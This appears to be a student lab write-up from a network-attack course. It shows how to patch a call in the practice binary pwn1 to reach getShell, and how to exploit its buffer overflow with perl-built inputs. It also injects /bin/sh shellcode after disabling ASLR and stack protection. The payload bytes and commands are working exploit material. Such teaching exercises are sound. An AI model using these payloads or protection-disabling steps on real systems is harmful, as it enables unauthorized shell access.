2018-2019-2 20165330《网络对抗技术》Exp1 PC平台逆向破解

时间  2019-11-14
标签 网络对抗技术 exp1 exp 平台 逆向 破解 栏目 系统网络 繁體版
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实验目标

  • 本次实验的对象是一个名为pwn1的linux可执行文件。
    -该程序正常执行流程是：main调用foo函数，foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另外一个代码片断，getShell，会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断，而后学习如何注入运行任何Shellcode。

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实验内容

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知识点描述

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码shell

    • 使用objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码
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    • 可知：
      • NOP：无做用，英文"no operation"的简写，意思是"do nothing"(机器码90)
      • JNE：若不相等则跳(机器码75
      • JE：若相等则跳(机器码74
      • JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB），段内直接近转移Jmp near（机器码：E9），段内间接转移Jmp word（机器码：FF），段间直接(远)转移Jmp far（机器码：EA）
      • CMP：比较指令，cmp的功能至关于减法指令。它不保存结果，只是影响相应的标志位(机器码39)

  2. 掌握反汇编与十六进制编程器编程

    • 反汇编指令：objdump -d objfile，关于其余用法可参考Linux下C程序的反汇编
    • 关于管道，输入、输出重定向参考linux下输入输出重定向和管道符
    • 十六进制编程器：用来以16进制视图进行文本编辑的编辑工具软件，其实咱们只须要用各系统都兼容的vim编辑器就能够实现十六进制编辑的功能。具体步骤以下：
      • 输入命令vi 20165330zyx查看可执行文件内容，发现大部分是咱们无法理解的乱码；
      • 按esc后在底行输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操做后，输入:%!xxd -r转换16进制为原格式。

  3. 能正确修改机器指令改变程序执行流程vim

    见实验步骤1sass

  4. 能正确构造payload进行bof攻击安全

    见实验步骤3bash

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实验步骤

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数
  • 用objdump -d 20165330zyx指令查看可执行文件的反汇编结果
  • 锁定修改目标80484b5: e8 d7 ff ff ff call 8048491 <foo>
  • 对比getShell函数的地址0804847d和foo函数的地址08048491，能够发现两地址之差为十六进制14;
  • call汇编指令的机器码为e8，咱们能够锁定这部分，后面的d7 ff ff ff这四个字节为数值部分，表明指令跳转时须要与eip寄存器相加的偏移量
  • 若是咱们想让函数调用getShell，只须要修改d7 ff ff ff便可。因为数值存储方式为小端方式，因此锁定须要改的字节为d7，将它与地址差14作减法运算后的值为c3
  • 下面修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff
    • cp 20165330zyx 20165330pwn2复制文件
    • 使用vi 20165330pwn2编辑可执行文件；
    • 按esc后，输入%!xxd将显示模式切换为十六进制模式
    • 在底行/d7查找须要修改的内容，将d7改成c3
    • 转换16进制为原格式：:%!xxd -r
    • 保存退出：:wq
  • 此时咱们反汇编可看到call指令调用的函数被改
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  • 输入./20165330pwn2运行该可执行文件
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利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
  • 可执行文件正常运行是调用foo函数，咱们发现这个函数有Buffer overflow漏洞
  • foo函数读入字符串，但系统只预留了32字节的缓冲区，超出部分会形成溢出，咱们的目标是覆盖返回地址
  • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
  • 确认输入字符串哪几个字符会覆盖到返回地址
  • 用gdb 20165330pwn(pwn的副本）调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出
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  • info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址
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  • 这是咱们就将getShell的地址0x0804847d把1234替换便可
  • 因为数据按小端存储，咱们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
  • 由于咱们无法经过键盘输入\x7d\x84\x04\x08这样的16进制值，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
  • 使用16进制查看指令xxd查看input文件的内容是否如预期
  • 确认无误后用(cat input;cat) | ./20165330pwn将input中的字符串做为可执行文件的输入
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注入一个本身制做的shellcode并运行这段shellcode
  • 下载execstack程序以便接下来能够设置易于攻击的环境：apt-get install execstack
  • 准备工做

    • 修改些设置dom

      execstack -s pwn1    //设置堆栈可执行
 execstack -q pwn1    //查询文件的堆栈是否可执行
    • 查看地址随机化的状态：more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化：echo "0" > /proc/sys/kernel/randomize_va_space
  • 构造要注入的payload
    • 目的：将shellcode代码写入buffer（缓冲区足够大），或把shellcode放在返回地址后（缓冲区小），把返回地址改成buffer的首地址

    • 咱们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90：

      perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
 //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们得把它改成这段shellcode的地址。
 //特别提醒：最后一个字符千万不能是\x0a
    • 注入：(cat input_shellcode;cat) | ./20165330pwn
    • 再打开一个终端查看执行文件进程号ps -ef | grep 20165330pwn
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    • 启用gdb调试进程，attach 2222与进程创建链接

    • 设置断点查看注入buf的内存地址

      disassemble foo //反汇编
 break *0x080484ae //设置断点
 //在另一个终端中按下回车
    • c继续
    • info r esp查看esp栈顶指针的地址
    • 使用x/16x 0xffffd33c查看其存放内容，看到01020304，就是返回地址的位置。根据咱们构造的input_shellcode可知，shellcode就在其后，因此地址是 0xffffd340，即0xffffd33c加上4字节
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    • c-quit退出gdb调试，回到以前的终端输入exit退出命令，修改以前的\x4\x3\x2\x1部分：perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    • 再次运行(cat input_shellcode;cat) | ./20165330pwn后发现执行成功
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实验过程当中遇到的问题

实验感想

  • 实验收获与感想

    在此次实验中不只懂得了什么是缓冲区溢出，也动手实现了缓冲区溢出，而且也把上学期所学的一些内容又串联在了一块儿，加深了我对堆栈的理解。

  • 什么是漏洞？漏洞有什么危害？

    • 缓冲区溢出就是输入的内容超过所分配的缓冲区空间，被溢出的内容因为设计的缺陷没有被马上检查到，而破坏堆栈覆盖一些原始数据。
    • 会致使程序运行失败、系统关机、从新启动，或者执行攻击者的指令，好比非法提高权限。
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